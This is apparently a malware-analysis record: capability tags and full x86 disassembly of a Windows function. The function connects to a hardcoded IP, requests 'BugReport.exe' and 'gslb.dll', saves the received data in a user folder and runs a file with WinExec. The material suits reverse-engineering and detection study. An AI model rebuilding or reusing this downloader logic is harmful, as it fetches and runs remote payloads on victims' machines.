Function at 0x402ba0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Get common file path
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41e9a0
push eax
mov dword fs:[0], esp
lea eax, [ebp - 0x4e0]
push ebx
sub esp, 0x4d0
push esi
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402c4e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x402c48
mov eax, 2
push str.103.100.208.103
mov word [ebp - 0xd0], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x2766
mov dword [ebp - 0xcc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xce], ax
lea eax, [ebp - 0xd0]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402c58
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x403559
lea eax, [ebp - 0x350]
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x90], 0
movups xmmword [ebp - 0xa4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c94
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0xa4]
call fcn.00405ba0
movq xmm0, qword [str.BugReport.exe]
xor eax, eax
mov word [ebp - 0x36], ax
mov ecx, 0xf
mov eax, dword [0x425f84]
mov dword [ebp - 0x3c], eax
mov al, byte [0x425f88]
push 0
mov byte [ebp - 0x38], al
lea eax, [ebp - 0x44]
push 0xd
push eax
push edi
mov dword [ebp - 0x34], 0xd
mov dword [ebp - 0x30], ecx
movq qword [ebp - 0x44], xmm0
mov byte [ebp - 0x37], 0
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x402dc5
push dword [ebp - 0x14]
call fcn.004072c5
mov ecx, dword [ebp - 0x14]
add esp, 4
xor esi, esi
mov dword [ebp - 0x18], eax
test ecx, ecx
jle 0x402d47
push 0
sub ecx, esi
add eax, esi
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x402db9
mov ecx, dword [ebp - 0x14]
add esi, eax
mov eax, dword [ebp - 0x18]
cmp esi, ecx
jl 0x402d24
push 0x425f8c
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0xe8]
call fcn.00405720
mov ecx, dword [ebp - 0x34]
mov esi, eax
add esp, 4
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x30], 0xf
lea eax, [ebp - 0x44]
cmova eax, dword [ebp - 0x44]
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x24], edx
cmp ecx, eax
ja 0x402ddc
cmp dword [esi + 0x14], 0xf
lea eax, [edx + ecx]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x1c], esi
jbe 0x402d9b
mov eax, dword [esi]
mov dword [ebp - 0x1c], eax
push ecx
push dword [ebp - 0x20]
add eax, edx
push eax
call fcn.004086a0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov byte [eax + ecx], 0
jmp 0x402df1
mov esi, dword [ebp - 0x18]
push esi
call fcn.00407282
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x4034df
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 0x24], 0
push dword [ebp - 0x24]
push ecx
mov ecx, esi
call fcn.00405f70
mov esi, eax
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x5c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x4c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, 0xf
jbe 0x402e62
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402e58
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40356e
push ecx
push edx
call fcn.004072b7
add esp, 8
cmp dword [ebp - 0x48], 0xf
lea eax, [ebp - 0x5c]
lea ecx, [ebp - 0x248]
cmova eax, dword [ebp - 0x5c]
sub esp, 0xc
push eax
call fcn.00404e90
mov eax, dword [ebp - 0x248]
mov esi, dword [ebp - 0x18]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x248]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x24c], eax
cmp dword [ebp - 0x1f8], 0
jne 0x402ecf
push esi
call fcn.00407282
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x403420
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x248]
cdq
push edx
push eax
push esi
call fcn.004043f0
lea ecx, [ebp - 0x244]
call fcn.00404d50
test eax, eax
jne 0x402f19
mov eax, dword [ebp - 0x248]
lea ecx, [ebp - 0x248]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401df0
push esi
call fcn.00407282
mov eax, dword [0x425f94]
add esp, 4
mov ecx, dword [str.gslb.dll]
xorps xmm0, xmm0
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x70], eax
mov edx, 0xf
push 0
push 8
lea eax, [ebp - 0x74]
mov dword [ebp - 0x64], 8
push eax
push edi
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x74], ecx
mov byte [ebp - 0x6c], 0
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x40302d
push dword [ebp - 0x14]
call fcn.004072c5
mov ecx, dword [ebp - 0x14]
add esp, 4
xor esi, esi
mov dword [ebp - 0x18], eax
test ecx, ecx
jle 0x402faf
nop dword [eax + eax]
push 0
sub ecx, esi
add eax, esi
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x403021
mov ecx, dword [ebp - 0x14]
add esi, eax
mov eax, dword [ebp - 0x18]
cmp esi, ecx
jl 0x402f90
push 0x425f8c
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0xe8]
call fcn.00405720
mov ecx, dword [ebp - 0x64]
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x60], 0xf
lea eax, [ebp - 0x74]
cmova eax, dword [ebp - 0x74]
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x2c], edx
cmp ecx, eax
ja 0x403044
cmp dword [esi + 0x14], 0xf
lea eax, [ecx + edx]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x20], esi
jbe 0x403003
mov eax, dword [esi]
mov dword [ebp - 0x20], eax
push ecx
push dword [ebp - 0x1c]
add eax, edx
push eax
call fcn.004086a0
mov eax, dword [ebp - 0x24]
add esp, 0xc
add eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
mov byte [eax + ecx], 0
jmp 0x403059
mov esi, dword [ebp - 0x18]
push esi
call fcn.00407282
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x4033da
push ecx
push dword [ebp - 0x1c]
mov byte [ebp - 0x24], 0
push dword [ebp - 0x24]
push ecx
mov ecx, esi
call fcn.00405f70
mov esi, eax
movups xmm0, xmmword [esi]
movq xmm1, qword [esi + 0x10]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x48]
movq qword [ebp - 0x28], xmm1
movups xmmword [ebp - 0xb8], xmm0
cmp ecx, 0xf
jbe 0x4030be
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4030a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403573
push ecx
push edx
call fcn.004072b7
movups xmm0, xmmword [ebp - 0xb8]
add esp, 8
movq xmm1, qword [ebp - 0x28]
mov ecx, dword [ebp - 0xd4]
movq qword [ebp - 0x4c], xmm1
movups xmmword [ebp - 0x5c], xmm0
cmp ecx, 0xf
jbe 0x403101
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4030f7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403573
push ecx
push edx
call fcn.004072b7
add esp, 8
cmp dword [ebp - 0x48], 0xf
lea eax, [ebp - 0x5c]
lea ecx, [ebp - 0x198]
cmova eax, dword [ebp - 0x5c]
sub esp, 0xc
push eax
call fcn.00404e90
mov eax, dword [ebp - 0x198]
mov esi, dword [ebp - 0x18]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x19c], eax
cmp dword [ebp - 0x148], 0
jne 0x40316e
push esi
call fcn.00407282
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x40335a
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x198]
cdq
push edx
push eax
push esi
call fcn.004043f0
lea ecx, [ebp - 0x194]
call fcn.00404d50
test eax, eax
jne 0x4031b8
mov eax, dword [ebp - 0x198]
lea ecx, [ebp - 0x198]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401df0
push esi
call fcn.00407282
add esp, 4
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0xc0]
push 0x425f9c
call fcn.00405720
mov ecx, dword [ebp - 0x34]
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x30], 0xf
lea eax, [ebp - 0x44]
cmova eax, dword [ebp - 0x44]
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x2c], edx
cmp ecx, eax
ja 0x403233
cmp dword [esi + 0x14], 0xf
lea eax, [ecx + edx]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x20], esi
jbe 0x403215
mov eax, dword [esi]
mov dword [ebp - 0x20], eax
push ecx
push dword [ebp - 0x1c]
add eax, edx
push eax
call fcn.004086a0
mov eax, dword [ebp - 0x24]
add esp, 0xc
add eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
mov byte [eax + ecx], 0
jmp 0x403248
push ecx
push dword [ebp - 0x1c]
mov byte [ebp - 0x24], 0
push dword [ebp - 0x24]
push ecx
mov ecx, esi
call fcn.00405f70
mov esi, eax
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x7c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0xac]
cmp ecx, 0xf
jbe 0x4032bf
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4032b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403578
push ecx
push edx
call fcn.004072b7
add esp, 8
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
call fcn.004029d0
test al, al
je 0x403303
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push 1
cmova eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 0x78]
xor esi, esi
cmp ecx, 0xf
jbe 0x403349
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40333f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40357d
push ecx
push edx
call fcn.004072b7
add esp, 8
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov eax, dword [ebp - 0x198]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x19c], eax
lea ecx, [ebp - 0x194]
call fcn.00404090
mov eax, dword [ebp - 0x198]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x19c], eax
lea eax, [ebp - 0x130]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00406b98
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x60]
cmp ecx, 0xf
jbe 0x40340e
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403404
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40357d
push ecx
push edx
call fcn.004072b7
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
mov eax, dword [ebp - 0x248]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x248]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x24c], eax
lea ecx, [ebp - 0x244]
call fcn.00404090
mov eax, dword [ebp - 0x248]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x248]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x24c], eax
lea eax, [ebp - 0x1e0]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00406b98
mov ecx, dword [ebp - 0x48]
add esp, 4
cmp ecx, 0xf
jbe 0x4034cd
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4034c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40357d
push ecx
push edx
call fcn.004072b7
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
mov ecx, dword [ebp - 0x30]
cmp ecx, 0xf
jbe 0x40350f
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403505
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40357d
push ecx
push edx
call fcn.004072b7
add esp, 8
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
cmp ecx, 0xf
jbe 0x403557
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40354d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40357d
push ecx
push edx
call fcn.004072b7
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
call fcn.0040d369
call fcn.0040d369
call fcn.0040d369
call fcn.0040d369
int3